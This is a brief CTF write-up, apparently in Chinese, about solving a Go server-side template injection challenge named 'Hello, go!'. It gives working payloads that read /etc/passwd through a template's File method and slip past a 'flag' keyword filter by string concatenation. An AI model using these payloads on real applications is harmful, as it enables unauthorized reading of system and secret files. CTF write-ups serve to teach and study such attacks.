99 words
1 minute
Hello, go!
Hello, go!
先確認一下有沒有模板注入
/?name={{.}}
查了一下關於 go 的 ssti
Exploring ways to exploit SSTI in Go Frameworks
在上面看到用 echo 的方式讀取 /etc/passwd
的內容
/?name={{ .File "/etc/passwd" }}
成功讀到 /etc/passwd
因為原始碼裡面有 name 不能包含 flag
的字串,所以試試用拼接的方式
/?name={{.File (print "/" "f" "l" "ag")}}
成功讀到 flag